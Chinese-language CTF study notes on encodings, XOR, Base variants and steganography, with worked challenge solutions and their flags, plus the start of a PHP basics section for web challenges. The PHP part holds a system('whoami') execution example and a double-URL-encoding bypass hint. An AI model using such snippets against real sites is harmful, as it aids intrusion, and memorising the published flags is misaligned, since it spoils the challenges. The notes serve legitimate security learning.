编码
进制
二进制(Binary)

二进制是一种使用 0 和 1 的数值表示方式。每个二进制位称为比特(bit)。
八进制(Octal)
十进制(Decimal)
十六进制(Hexadecimal)
十六进制是一种基数为 16 的数值表示法,数字是由 0 到 9 和 A 到 F 组成,广泛应用于计算机科学及其相关领域。

由于 1 Byte = 8 Bit,一个字节的一半(4 位)有 16 种不同的组合,也就是说可以用两个十六进制数来表示一个字节。
常见用来表示十六进制数的前缀有0x和\x,如0xA、\x61等。
666c61677b733333696e675f6833787d
$ python3
Python 3.13.3 (main, Apr 10 2025, 21:38:51) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> bytes.fromhex("666c61677b733333696e675f6833787d").decode()
'flag{s33ing_h3x}'
ASCII
ASCII(American Standard Code for Information Interchange,美国标准信息交换码)是一种字符编码方案。
在计算机中,所有数据存储和运算都使用二进制表示,因计算机通过高电平和低电平分别对应 1 和 0。字母、数字以及常用符号在计算机中也需要使用二进制表示。为确保互通,必须使用统一的编码规则,因此美国标准化组织制定了 ASCII 编码,规定了常用符号对应的二进制数字。
标准 ASCII 使用 7 个比特来表示字符,因此可以编码 128 个不同的字符。扩展 ASCII 是在标准 ASCII 的基础上,使用 8 个比特来表示字符。
Unicode
Unicode 是一种计算机字符编码标准,于 1987 年首次提出,旨在为所有语言和字符提供一个统一的编码系统。它的主要目的是解决不同字符集之间的不兼容问题,确保能够在全球范围内一致地处理和显示文本。Unicode 支持几乎所有现代书写系统,包括拉丁文、汉字、阿拉伯文、希腊文、德文和许多其他语言的符号和字符。
Unicode 支持多种编码形式,以满足不同应用程序的需求,包括:
- UTF-8:可变长度编码,兼容 ASCII,广泛用于互联网和现代应用。一个字符可以使用 1 到 4 个字节表示。对于 ASCII 字符(0-127),编码与标准 ASCII 相同;而对于其他字符,UTF-8 使用多个字节。
- UTF-16:通常用于需要处理大量东亚字符的环境,比如 Java 和 Windows。它使用 2 或 4 个字节表示每个字符。
- UTF-32:固定长度编码,使用 4 个字节表示每个字符,常用于内部处理和某些特定情况下。
URL编码
HTML实体编码
异或XOR
异或(XOR)是一种位运算符,符号为 ^。其规则是:两个二进制位相同则结果为 0,不同则结果为 1。
| A | B | A ^ B |
|---|---|---|
| 0 | 0 | 0 |
| 0 | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | 0 |
异或的性质:
- 任意数与 0 异或结果为其本身:
A ^ 0 = A - 任意数与自身异或结果为 0:
A ^ A = 0 - 异或运算满足交换律和结合律:
A ^ B = B ^ A,(A ^ B) ^ C = A ^ (B ^ C)
示例代码
例题分析
例题-XOR
79737e786477706f7a4066706a406a6c7a7b407e406c7c6d766f6b62
- 题目分析
题目提供了一串十六进制数字,我们知道两个十六进制数字可以表示一个字节。根据题目名称,可以通过暴力破解方式来寻找异或秘钥,以实现解密。
- 解法一
cipher = bytes.fromhex("79737e786477706f7a4066706a406a6c7a7b407e406c7c6d766f6b62")
# 遍历所有可能的单字节密钥(从 0x00 到 0xff)
for i in range(0x00, 0xff):
result = "".join(chr(i ^ j) for j in cipher)
if "flag" in result:
print("Flag found:", result)
- 解法二
我们主要使用 CyberChef 的XOR Brute Force模块,在正确使用该模块之前,需要首先使用From Hex功能将提供的字符串转为以两个十六进制数表示的字节数组。

字母频率统计
$ cat flag.txt | fold -w1 | sort | uniq -c | sort -nr
2508 G
2481 X
2453 Y
2301 {
2221 g
2087 a
fold -w1将每个字符放在单独的一行。sort对字符进行排序。uniq -c统计出现次数。sort -nr根据出现次数从高到低排序。
Base编码
Base64
Base64 是一种基于 64 个可打印字符来表示二进制数据的表示方法,3 个字节可由 4 个可打印字符表示。64 个可打印字符包括大小写字母a-z、A-Z,数字0-9以及两个特殊字符+ 和 /,因此命名为“Base64”。
$ echo hello | base64
aGVsbG8K
$ echo aGVsbG8K | base64 -d
hello
Base32
A-Z(26个大写字母)
2-7(数字,不包括易于混淆的数字0和1)
Base58
123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ,与Base64相比,排除了数字0、大写字母O、大写字符I、小写字母l,避免混淆。
主要用于比特币地址、私钥、钱包文件等的编码,避免容易混淆字符,提高用户输入体验。
Base62
Base85
例题分析
例题-Base
题目来源:2021 年中国能源网络安全大赛预赛
题目描述:
31332b353d3f3f3f2d2d2d2d7a6d6a74706d3838757366677a6d797474736467746d65697a6c6c74787a6d657a61646a766d6f66757365677262776b7a77666a7a61796f7a646d75373d3d3d
题目分析:
首先十六进制解码,得13+5=???----zmjtpm88usfgzmyttsdgtmeizlltxzmezadjvmofusegrbwkzwfjzayozdmu7===,提示字符串13+5=???-,有效字符串只有小写字母和数字,且存在数字8,判断不是转为大写后得Base 32,根据提示13+5,需要对字母和数字作如下转换:
- 小写字母进行
ROT 13 - 数字进行
ROT 5 - 转为大写字母并
Base 32解码
FLAG:flag{9e6ef1a3f5f0e31cadd29c297bef5ad2}
练习题
EZ_XOR
题目来源:2018护网杯线上赛
AAoHAR1WX1VQVlNVU1VRUl5XXyMjI1FWJ1IjUCQnXlZWXyckXhs=
FLAG:flag{09360535374819EEE70A4E6BA8009AB8}
隐写术
图像隐写
图像隐写是一种将数据(包括文本、图像、音频、视频)嵌入到图像中的信息隐藏技术,人类视觉上通常无法区分处理过的图像和原始图像。图像隐写技术的基本原理是利用人类视觉系统的特性和图像的冗余信息,通过对图像中特定像素的微小修改来实现数据的隐藏。该技术广泛应用于数据传输中的安全通信、版权保护以及隐私保护等领域。
BMP
BMP(Bitmap,位图)是一种于 1986 年随着 Microsoft Windows 1.0 发布而推出的无压缩图像文件格式,广泛用于 Windows 系统中,采用简单结构存储像素数据。
BMP 文件由以下部分组成:
- 文件头(Bitmap File Header):固定 14 个字节,包含文件类型标识(字符
BM),文件大小、像素数据偏移量等。 - 信息头(DIB Header):紧跟文件头之后,包含图像宽度、高度、色深、压缩方式等信息。大小和格式有多种版本,常见为 40 字节的
BITMAPINFOHEADER,也有向下兼容BITMAPV5INFOHEADER。 - (可选)颜色表(Color Table):用于索引颜色,支持 1、4、8 位色深索引色,24 位及以上多为直接颜色值。
- 1 位色深,单色位图,每个像素用 1 位表示,即 2 种颜色,每像素占 $1/8$ 字节。
- 4 位色深,16 色位图,每个像素用 4 位表示,即 16 种颜色,每像素占$1/2$字节。
- 8 位色深,256 色位图,每个像素用 8 位表示,即 256 种颜色,每像素占 1 节。
- 24 位色深,24 位位图,每个像素用 3 字节表示。
- 像素数据(Pixel Data):以行存储,每行字节数必须是 4 的倍数,不足部分用填充字节补齐,像素存储顺序通常自下而上。
例题分析
例题1:[PicoCTF 2021]tunn3l_v1s10n
- 附件没有后缀名,执行命令
file tunn3l_v1s10n,结果是tunn3l_v1s10n: data,无法正确识别文件类型。 - 通过十六进制编辑器查看文件。使用命令
xxd -g 1 tunn3l_v1s10n | head,判断文件类型为bmp。
00000000: 42 4d 8e 26 2c 00 00 00 00 00 ba d0 00 00 ba d0 BM.&,...........
00000010: 00 00 6e 04 00 00 32 01 00 00 01 00 18 00 00 00 ..n...2.........
00000020: 00 00 58 26 2c 00 25 16 00 00 25 16 00 00 00 00 ..X&,.%...%.....
00000030: 00 00 00 00 00 00 23 1a 17 27 1e 1b 29 20 1d 2a ......#..'..) .*
00000040: 21 1e 26 1d 1a 31 28 25 35 2c 29 33 2a 27 38 2f !.&..1(%5,)3*'8/
00000050: 2c 2f 26 23 33 2a 26 2d 24 20 3b 32 2e 32 29 25 ,/*&-$ ;2.2)%
00000060: 30 27 23 33 2a 26 38 2c 28 36 2b 27 39 2d 2b 2f 0'#3*&8,(6+'9-+/
00000070: 26 23 1d 12 0e 23 17 11 29 16 0e 55 3d 31 97 76 &#...#..)..U=1.v
00000080: 66 8b 66 52 99 6d 56 9e 70 58 9e 6f 54 9c 6f 54 f.fR.mV.pX.oT.oT
00000090: ab 7e 63 ba 8c 6d bd 8a 69 c8 97 71 c1 93 71 c1 .~c..m..i..q..q.
- 修改后缀后,图片查看器无法正常打开图片,判断文件格式出错。
- 修复文件步骤如下:
- 文件标识
File Offset to PixelArray字段应为36 00 00 00,即十六进制0x36,表示 54 字节。 - 信息头
DIB Header Size字段应为28 00 00 00,即十六进制0x28,表示 40 字节。 - 修改图片高度,(2893454-54)/(1134*3+2) = 850
- 文件标识
FLAG:picoCTF{qu1t3_a_v13w_2020}
参考资料:
参考资料
TIFF
PNG
PNG(Portable Network Graphics,便携式网络图形)是一种广泛使用的无损压缩位图图片格式,具有无损压缩、支持透明通道(Alpha通道)和内置校验等特点。
PNG 文件包括以下主要部分:
- 文件标识(Signature):8 字节,每个 PNG 文件以字节序列
89 50 4E 47 0D 0A 1A 0A开头。 - 块(Chunks):PNG 文件由多个不同类型的块组成,分为关键块和辅助块。
关键数据块中有4个标准数据块:
- IHDR:图像头块,13 个字节,定义图像的基本属性,包含图像宽度、高度、颜色类型等信息。作为第一个数据块出现并只出现一次。
- PLTE:调色板块(可选),定义用于图像的颜色调色板。必须放在图像数据块之前。
- IDAT:图像数据块,存储
DEFLATE 算法压缩后的图像像素数据。可以为一个或多个连续块,顺序不可颠倒, - IEND:图像结束标志,指示文件的结尾。
IDAT
IDAT 中的数据是通过 zlib(DEFLATE压缩算法)压缩的像素数据流。 多个 IDAT 块的数据拼接后构成完整的 zlib 流
例题分析
例题1
例题2
pngcheck
tweakpng
JPG
JPEG(JPG)是一种广泛应用的有损压缩图像格式,具备压缩比灵活、不支持透明通道
有损压缩
jphide
GIF
GIF(Graphics Interchange Format,图形交换格式)是一种由美国技术公司 CompuServe 于 1987 年推出的广泛使用的图像格式,现已成为 W3C 的标准。GIF 文件主要用于支持动画和图像压缩,常见于网页和社交媒体中,尤其是表情包。其优点包括创建速度快、文件体积小和无损压缩,然而,其色彩限制和低分辨率可能影响图像质量。
自推出以来,GIF 经历了两个主要版本:GIF87a(1987 年)是首个版本,支持最多 256 种颜色和静态图像;GIF89a(1989 年)在此基础上增加了动画支持、透明背景和元数据功能,使其更加灵活和实用。
文件结构

- 文件头(Header)
- 签名(Signature): 3 个字节,
47 49 46即字符GIF,表示该文件为 GIF 格式。 - 版本(Version): 3 个字节,指明版本号,两个主要版本分别为
87a和89a。 GIF89a
- 签名(Signature): 3 个字节,
- 逻辑屏幕描述符(Logical Screen Descriptor)
- 描述 GIF 的画布尺寸(宽度和高度)。
- 指定全局颜色表的大小和是否使用透明色。
- (可选)全球颜色表(Global Color Table)
- 通常用于索引颜色。包含多达 256 种颜色的 RGB 值。每种颜色由三个字节(红、绿、蓝)表示。
- 图形控制扩展(Graphics Control Extension)
- 提供关于图像显示的控制信息,如延迟时间、透明色的使用及是否是动画帧。
- 图像描述符(Image Descriptor)
- 描述单个图像的起始位置和尺寸(例如左上角坐标、宽度和高度)。
- 可选的局部颜色表也可以在此区块中定义。
- 局部颜色表(Local Color Table)
- 针对特定图像使用的色彩表,允许不同的图像使用不同的颜色表。
- 结构与全局颜色表相同。
- 图像数据(Image Data)
- 实际的图像像素数据,通常经过 LZW(Lempel-Ziv-Welch)压缩。
- (可选)纯文本扩展(Plain Text Extension)
- 可选部分,用于存储文本内容。
- 应用扩展(Application Extension)
- 存储应用程序相关的信息,通常用于动画控制。
- 注释扩展(Comment Extension)
- 包含元数据,允许在 GIF 文件中加入注释。
- 结束块(Trailer)
- 文件的结束标识,通常为一个字节,值为
0x3B。
- 文件的结束标识,通常为一个字节,值为
参考资料:
- https://giflib.sourceforge.net/whatsinagif/bits_and_bytes.html
- https://www.w3.org/Graphics/GIF/spec-gif89a.txt
时间轴
空间轴
ImageMagick 是一款流行的开源软件,支持丰富的数字图像操作。其中,convert 是 ImageMagick 的一个核心命令行工具,用于在不同的图像格式之间转换、修改和组合图像。
动画 GIF 文件由多帧图像组成,可以使用convert命令将其每一帧分割开。
convert -version
sudo apt update
sudo apt install imagemagick
convert filename.gif output.png
也可以使用在线工具https://ezgif.com/split 或 Stegsolve.jar。
例题1:[DownUnderCTF 2021]How to pronounce GIF
附件下载:challenge.gif
使用convert命令分离帧,并保存在frames目录下。
convert challenge.gif frames/frame.png
每十个一组,每组得第一个垂直拼接为一个二维码。
convert frames/frame-{0,10,20,30,40,50,60,70,80,90,100,110}.png -append QRcode1.png
convert frames/frame-{1,11,21,31,41,51,61,71,81,91,101,111}.png -append QRcode2.png
...
共生成 10 个二维码,使用zbarimg命令获取内容。
$ zbarimg QRcode1.png
QR-Code:The princess is in another castle
scanned 1 barcode symbols from 1 images in 0.01 seconds
以此类推,得 QRcode6:RFVDVEZ7YU1,QRcode8:fMV9oYVhYMHJfbjB3P30=
拼接完整,然后 Base64 解码。
$ echo RFVDVEZ7YU1fMV9oYVhYMHJfbjB3P30= |base64 -d
DUCTF{aM_1_haXX0r_n0w?}
例题2:[D^3CTF 2023]d3gif
from PIL import Image
# 初始化一个空列表,用于存储像素值
rgb = []
# 读取每个图像并获取左上角像素的 RGB 值
for i in range(1089):
with Image.open(f"frame-{i}.png") as img:
# 将图像转换为 RGBA 格式(如果不是的话)
img = img.convert("RGBA")
# 获取左上角像素的颜色
pixel_value = img.getpixel((0, 0))
rgb.append(pixel_value)
# 创建一个新的 RGB 图像
output = Image.new("RGB", (33, 33))
# 根据条件设置每个像素的颜色
for index, j in enumerate(rgb):
red, green, blue, alpha = j # 解包 RGBA 值
print(red, green, blue, alpha)
if blue == 1:
output.putpixel((red, green), (0, 0, 0)) # 黑色
else:
output.putpixel((red, green), (255, 255, 255))
# 显示和保存新创建的图像
output.show()
output.save("out.png")
FLAG:antd3ctf{G1F_0R_C0L0R_0R_QRC0D3_0R_WHAT???}
相关题目
考点总结
EXIF
Exif(Exchangeable image file format,可交换图像文件格式)是专门为数码相机的照片设定的文件格式,可以记录数码照片的属性信息和拍摄数据。
LSB隐写
通过修改图像中每个像素的最低有效位(Least Significant Bit,LSB),将秘密数据嵌入到图像中,而不会明显改变图像的视觉外观。
参考资料
数字水印
https://medium.com/@PLZENTERTEXT/wargames-my-2024-forensics-misc-writeup-74375de25de5 https://ctftime.org/writeup/34120
盲水印
隐写检测工具
zsteg detect stegano-hidden data in PNG & BMP
stegdetect是一个用来检测JPEG图片是否存在隐藏信息的自动化工具。可检测jsteg、jphide、outguess、F5、、
WbStego
jphide
https://github.com/DominicBreuker/stego-toolkit
https://www.anquanke.com/post/id/189154#h2-7
| 工具名 | 主要功能 | 适用场景 | 备注 |
|---|---|---|---|
| zsteg | 针对 PNG 和 BMP 图片的隐写分析 | 用于从 PNG、BMP 图片中提取隐藏数据 | 支持多种隐写算法,易用且功能强大 |
| WbStego | 多格式隐写工具 | 支持多种图片格式的隐写,界面友好 | 兼容多种隐写算法,适合初学者使用 |
| jphide | 基于 JPEG 文件的隐写 | 用于在 JPEG 图片中隐藏和提取数据 | 经典 JPEG 隐写工具,命令行操作 |
| jsteg | JPEG 隐写,专注单比特隐写 | 通过 LSB 技术隐藏数据,支持签名和验证 | 轻量且支持密码签名,适合对抗追踪攻击 |
| Steghide |
https://github.com/DominicBreuker/stego-toolkit
首先安装 Go 语言环境
sudo apt update
sudo apt install golang-go
然后再执行:
go install lukechampine.com/jsteg@latest
https://georgeom.net/StegOnline/upload http://stylesuxx.github.io/steganography/
音频隐写
常见的音频文件类型有MP3和WAV。
- WAV
- 是一种无损音频格式,通常使用 PCM(脉冲编码调制)进行编码。
- 文件大小较大,因为它包含完整的未压缩音频数据。
- MP3
- 是一种有损音频格式,通过压缩算法去除人耳不易察觉的音频数据,使文件更小。
- FLAC Sonic Visualiser
https://deepsound.en.uptodown.com/windows
波形图隐写
例题分析:[SCTF 2021]in_the_vaporwaves
中间部分音频左右声道反相,尝试将左右声道合并。
import wave
output_file = "output.wav"
with wave.open("c.wav", "rb") as wav_file:
# 获取音频参数
params = wav_file.getparams()
num_channels, sample_width, frame_rate, num_frames = params[:4]
# 输出音频参数
print(f"声道数: {num_channels}")
print(f"样本宽度: {sample_width} 字节")
print(f"采样率: {frame_rate} Hz")
print(f"帧数: {num_frames}")
# 读取所有音频数据
audio_data = wav_file.readframes(num_frames)
# 收集所有混合后的采样点
mixed_data = bytearray()
for i in range(num_frames):
# 计算每个采样点的起始位置
start = i * num_channels * sample_width
# 计算每个采样点的结束位置
end = start + sample_width
# 提取左声道和右声道数据
left_channel = audio_data[start:end]
right_channel = audio_data[start + sample_width : end + sample_width]
# 处理单声道文件时,右声道可能不存在
if len(right_channel) < sample_width:
right_channel = left_channel
# 将左声道和右声道数据混合为单声道
mixed_channel = (
int.from_bytes(left_channel, "little", signed=True)
+ int.from_bytes(right_channel, "little", signed=True)
) // 2
# 转回字节
mixed_bytes = mixed_channel.to_bytes(sample_width, "little", signed=True)
mixed_data.extend(mixed_bytes)
# 写入新的WAV文件
with wave.open(output_file, "wb") as f:
f.setnchannels(1) # 设置为单声道
f.setsampwidth(sample_width)
f.setframerate(frame_rate)
f.writeframes(mixed_data)
print("单声道WAV文件已生成:", output_file)
打开output.wav,提取摩尔斯电码。

... -.-. - ..-. -.. . ... .---- .-. ...-- ..--.- -.. .-. .. ...- . ... ..--.- .. -. - ----- ..--.- ...- .- .--. --- .-. .-- .--.-. ...- . ...
在CyberChef上解码即可。
方法二:
Audacity
点击菜单栏轨道>混音>混合立体声至单声道。

合并为单声道,结果如下图所示:

Sonic Visualiser
点击菜单栏Layer(图层)>Add Spectrogram(添加频谱图)>All Channels Mixed(所有声道混合),将所有声道的频谱数据混合成一个单一的频谱图。

频谱图
LSB
MP33stego
工具
[WAV]
[Steghide]
视频隐写
文档隐写
Office文档隐写
自 Office 2007 起,微软采用了 Office Open XML (OOXML) 文件格式。常见的 .docx、.xlsx、.pptx 文件,实际上都是一种特殊的 ZIP 压缩包,内部包含了众多以 .xml 结尾的文件和文件夹。
[Content_Types].xml
_rels/
docProps/
word/ 或 xl/ 或 ppt/
[Content_Types].xml描述整个包中包含的所有部件及其内容类型。用于告诉 Office 如何解析各类数据。
_rels/目录包含包级关系文件(如 .rels),指明文件之间的关联关系(例如正文和图片、宏的关系)。
docProps/目录包括文档属性,如作者、标题、创建时间、修改时间等元数据。core.xml:核心属性;app.xml:应用属性。
word/或xl/或ppt/主目录存放文档主体内容。
针对 Word 文档,常见文件包括:
document.xml:正文内容styles.xml:样式定义settings.xml:文档设置numbering.xml:编号信息footnotes.xml/endnotes.xml:脚注、尾注media/:嵌入的图片、对象等二进制文件
针对 Excel 文档,常见文件包括:
workbook.xml:工作簿信息worksheets/:各个工作表(如sheet1.xml)styles.xml:样式sharedStrings.xml:所有共享字符串media/:嵌入图片等
针对 PowerPoint 文档,常见文件包括:
-
presentation.xml:演示文稿结构 -
slides/:所有幻灯片(如 slide1.xml) -
slideLayouts/和slideMasters/:幻灯片布局和母版 -
notesSlides/:备注 -
media/:嵌入的图片或视频 -
在
Word中隐藏文字
选择需要隐藏的字,右键选择字体,勾选隐藏文字。
在选项中,选择显示>隐藏文字。
文档密码破解
例题分析:[CISCN 2024]神秘的文件
core.xml核心属性,QFCfpPQ6ZymuM3gq、Key:lanjing,得Part1:flag{e- 内嵌有
Word文档, https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,true,-10)From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=bVFQaW5OUzZYdG0xSkdKcw&ieol=CR&oeol=CR,part2:675efb - 宏,RC4,
PArt3:3-34 - 第三页,https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=VUdGNWREUTZObVl0TkRBPQ&ieol=CR&oeol=CR,
Payt4:6f-40 - 第 5 页,备注,
pArt5:5f-90d - 第 5 页左上角,
ParT6:d-2 slides\slides4.xml,PART7=22b3slideLayout2.xml,paRt8:87eimage57.jpg,parT9:deecomment1.xml,PARt10:9}
flag:flag{e675efb3-346f-405f-90dd-222b387edee9}
例题1
PDF隐写
文本隐写术
Whitespace esolang 编码隐写
Whitespace是一种使用空格、制表符和换行符来表示数据的编程语言。
CTRL+A全选
SNOW 隐写术
零宽字符隐写术
零宽字符的 Unicode 隐写术 Zero Width Space Steganography (ZWSP)
| 字符名称 | 英文 | Unicode |
|---|---|---|
| 零宽空格 | Zero-width space | U+200B |
| 零宽非连字 | Zero-width non-joiner | U+200C |
| 零宽连字 | Zero-width joiner | U+200D |
| 从左到右标记 | Left-To-Right Mark | U+200E |
| 从右到左标记 | Right-To-Left Mark | U+200F |
| 从左到右嵌入 | Left-To-Right Embedding | U+202A |
| 从右到左嵌入 | Right-To-Left Embedding | U+202B |
| U+202C | ||
| 从左到右覆盖 | Left-To-Right Override | U+202D |
| 从右到左覆盖 | Right-To-Left Override | U+202E |
| 词连接符 | Word joiner | U+2060 |
| 零宽不换行空格 | Zero-width no-break space | U+FEFF |
- CSAW CTF Quals 2020 widthless
https://330k.github.io/misc_tools/unicode_steganography.html
Web 安全
PHP语法基础
PHP 是一种广泛应用的通用脚本语言,特别适合用于网页开发,其代码可嵌入到 HTML 中。它快速、灵活且实用,易于学习和使用。
PHP 作为世界上最好的语言,是 CTF Web 题目中的考查热点。
历史主流版本有5.[56].x、7.[01234].x和8.[01234].x。
环境搭建
参考WAMP和LAMP部分。
变量基础
PHP 中的变量以美元符号$开头,后接变量名,且变量名区分大小写。
有效的变量名必须以字母或下划线开头,后面可以跟上任意数量的字母,数字或下划线。其正则表达式为^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$。
!> 所指的字母包括a-z,A-Z,以及 ASCII 字符从 128 到 255(0x80-0xff)。正则表达式显示,变量名支持 Unicode、中文,例如$你好
- 有效变量名
<?php
$var = 'Bob'; // 将字符串 'Bob' 赋值给变量 $var
$Var = 'Joe';
echo "$var, $Var"; // 输出 "Bob, Joe"
$_4site = 'not yet'; // 合法变量名;以下划线开头
$i站点is = 'mansikka'; // 合法变量名;可以用中文
?>
- 无效变量名
<?php
$4site = 'not yet'; // 非法变量名;以数字开头
基本语法
PHP标记
当解析一个文件时,PHP 会寻找起始和结束标记,也就是<?php和?>,这告诉 PHP 开始和停止解析二者之间的代码。此种解析方式使得 PHP 可以被嵌入到各种不同的文档中去,而任何起始和结束标记之外的部分都会被 PHP 解析器忽略。
- 普通标记
<?php ?> - 短标记
<? ?>- 短标记是被默认开启的,但是也可以通过设置
short_open_tag来禁用
- 短标记是被默认开启的,但是也可以通过设置
<?=<?php echo的简写形式,不受short_open_tag控制
- ASP 风格标记
<% %>、<%=- 自 PHP 7.0.0 起 ,被移除
- 默认关闭,须将
asp_tags设置为 On
- 脚本标记
<script language="php">- 自 PHP 7.0.0 起,被移除
- eg.
<script language="php">system("whoami"); </script>
指令分隔符
PHP 每个语句后需用分号结束指令,结束标记隐含表示了一个分号,代码段的最后一行可以不加分号。
在文件末尾,PHP 代码段的结束标记可以省略,尤其在使用 include 或者 require 时,这样可以避免不必要的空白符出现。
注释
PHP 支持 C,C++ 和 Unix Shell 风格(Perl 风格)的注释。
<?php
echo 'This is a test'; // 这是一个单行注释, c++ 样式注释
/* 这是一条多行注释
另一行也是注释 */
echo 'This is yet another test';
echo 'One Final Test'; # 这是另一个单行注释, shell 风格的注释
?>
如何运行PHP代码?
- 通过网站运行
将 PHP 代码文件放在支持 PHP 的 Web 服务器(如 Apache、Ngnix)网站目录下,通过浏览器访问该文件即可运行。
- 命令行模式运行
在终端或命令行中执行以下命令来运行 PHP 代码:
若使用 PHP Study,需设置环境变量,或在 PHP 可执行程序目录下运行。
# 交互模式
php -a
# 执行代码,不包括标记
php -r <code>
# 执行指定的 PHP 文件
php -f scriptname.php
- 在线 PHP 代码测试编辑器
强烈推荐使用在线 PHP 代码测试编辑器onlinephp.io,该工具提供多种 PHP 版本的选择。
类型
PHP 支持四种标量值(标量值不能拆分为更小的单元,例如,和数组不同)类型:int 值、浮点数值(float)、string 值和 bool 值。PHP 也支持两种复合类型:数组和对象。这些值类型可以赋值给变量或者从函数返回。
Integer 整型
可以使用十进制,十六进制,八进制或二进制表示,前面可以加上可选的符号(- 或者 +)。
- 要使用八进制表达,数字前必须加上
0(零)。 PHP 8.1.0 起,八进制表达也可以在前面加上0o或者0O。 - 要使用十六进制表达,数字前必须加上
0x。 - 要使用二进制表达,数字前必须加上
0b。
<?php
$a = 1234; // 十进制数
$a = 0123; // 八进制数 (等于十进制 83)
$a = 0o123; // 八进制数 (PHP 8.1.0 起)
$a = 0x1A; // 十六进制数 (等于十进制 26)
$a = 0b11111111; // 二进制数字 (等于十进制 255)
$a = 1_234_567; // 整型数值 (PHP 7.4.0 以后)
?>
Float 浮点型
浮点型(也叫浮点数 float,双精度数 double 或实数 real)用于表示小数,常用于需要高精度的小数计算和科学计算等场景。
?> 科学计数法使用小写e或大写E均可。
<?php
$a = 1.234;
$b = 1.2e3; // 科学计数法
$c = 7E-10; // 科学计数法
$d = 1_234.567; // 从 PHP 7.4.0 开始支持
?>
String 字符串
一个字符串是由一系列的字符组成,其中每个字符等同于一个字节。常用单引号和双引号定义字符串。
?> 用双引号定义的字符串支持变量解析,遇到一个美元符号($),后面的字符会被解释为变量名,然后替换为变量的值。
<?php
$juice = "apple";
echo "He drank some $juice juice." . PHP_EOL;
// He drank some apple juice.
数字字符串
如果一个字符串可以被解释为int或 float类型,则它被视为数字字符串。
<?php
var_dump(is_numeric('1234')); // bool(true)
var_dump(is_numeric('0123')); // bool(true)
var_dump(is_numeric('1.234')); // bool(true)
var_dump(is_numeric('1.2e3')); // bool(true)
前导数字字符串
其开头类似于数字字符串,后跟任何字符,如123a。
<?php
var_dump(is_numeric('123a')); // bool(false)
var_dump(is_numeric('123e')); // bool(false)
?> 前导数字字符串只是一个字符串,不是数字字符串。
Boolean 布尔类型
bool仅有两个值,用于表达真(truth)值,使用常量true 或 false表示。两个都不区分大小写。
$foo = True; // 将变量 $foo 赋值为 TRUE
$bar = false; // 将变量 $bar 赋值为 FALSE
NULL
null类型只有一个值,就是不区分大小写的常量null,未定义和unset()的变量都将解析为值null。
$var = NULL;
Array 数组
数组实际上是键值对。
<?php
$array1 = array(
"foo" => "bar",
"bar" => "foo",
);
// 使用短数组语法
$array2 = [
"foo" => "bar",
"bar" => "foo",
];
// 没有键名的索引数组
$array3 = array("foo", "bar", "hello", "world");
$array4 = ["foo", "bar", "hello", "world"];
// 用方括号`[]`访问数组
// 应在用字符串表示的数组索引上加上引号,单引号、双引号均可
var_dump($array1['foo']); // string(3) "bar"
var_dump($array2["foo"]); // string(3) "bar"
/* 尽管错误,但仍能正常运行。未定义的常量 foo。
将未定义的常量当作裸字符串。从 PHP 7.2.0 起已废弃,并触发 E_WARNING 级别错误。 从 PHP 8.0.0 起被移除,并触发 Error 异常。*/
var_dump($array2[foo]); // string(3) "bar"
var_dump($array3[0]); // string(3) "foo"
/* 在 PHP 8.0.0 之前,方括号和花括号可以互换使用来访问数组单元。
花括号语法在 PHP 7.4.0 中已弃用,在 PHP 8.0.0 中不再支持。*/
var_dump($array4{0}); // string(3) "foo"
- 从 PHP 7.1.O 起,支持
[]数组解包,[$foo, $bar, $baz] = $source_array;
超全局变量
预定义变量。 超全局变量是指在全部作用域中始终可用的内置变量。
$_GET
$_GET通过 URL 参数(又叫 query string)传递给当前脚本的变量的数组。
$_GET、$_POST是通过 urldecode() 传递的,urldecode($_POST['id']),可通过双重 URL 编码绕过。- URL 解码urldecode() 加号('+')被解码成一个空格字符。
- 若 URL 中的查询字符串
?arg=a,则$_GET['arg']为字符串类型;若 URL 中的查询字符串?arg[a]=a,则$_GET['arg']为数组类型。?arg[]=a&arg[]=b,不指定 key,自动索引递增?arg[name]=a&arg[name2]=b,指定数组 key,不需要加引号
$_GET,该数组不仅仅对 method 为 GET 的请求生效,而是会针对所有带 query string 的请求。
常量
可以使用 const 关键字或 define() 函数两种方法来定义一个常量。一个常量一旦被定义,就不能再改变或者取消定义。常量前面没有美元符号($);
<?php
// 简单的标量值
const CONSTANT = 'Hello World';
echo CONSTANT;
在 PHP 8.0.0 之前,调用未定义的常量会被解释为一个该常量的字符串,即(CONSTANT 对应 "CONSTANT")。 此方法已在 PHP 7.2.0 中被废弃,会抛出一个 E_WARNING 级错误。 参见手册中为什么 $foo[bar]是错误的(除非 bar 是一个常量)。
预定义常量
内核预定义常量在 PHP 的内核中定义。它包含 PHP、Zend 引擎和 SAPI 模块。比如PHP_EOL为当前平台中对换行符的定义。
魔术常量
有九个魔术常量它们的值随着它们在代码中的位置改变而改变。例如 __LINE__ 的值就依赖于它在脚本中所处的行来决定。“魔术”常量都在编译时解析,而常规常量则在运行时解析。这些特殊的常量不区分大小写。
表达式
函数
<?php
// 定义函数 foo()
function foo($arg_1, $arg_2, /* ..., */ $arg_n)
{
echo "Example function.\n";
return $retval;
}
// 调用函数 foo()
foo();
?>
函数无需在调用之前被定义,但是当一个函数是有条件被定义时,必须在调用函数之前定义。
可变函数
如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。也称为动态函数。
<?php
function foo() {
echo "In foo()<br />\n";
}
function bar($arg = '')
{
echo "In bar(); argument was '$arg'.<br />\n";
}
$func = 'foo';
$func(); // 调用 foo()
$func = 'bar';
$func('test'); // 调用 bar()
PHP7 前是不允许用($a)();这样的方法来执行动态函数的,但 PHP7 中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意 PHP 表达式。
PHP特性
类型转换
PHP 是动态类型语言,声明变量时不需要定义类型。变量类型转换分为自动类型转换和强制类型转换。
-
强制类型转换,通过显式调用进行转换- 通过在值前面的括号中写入类型来将值转换指定的类型,如
$bar = (bool) $foo。 - 使用
settype()函数。
- 通过在值前面的括号中写入类型来将值转换指定的类型,如
-
自动类型转换,PHP 会尝试在某些上下文中自动将值解释为另一种类型,类型转换的判别
转换为整型
<?php
var_dump(intval(false)); // int(0)
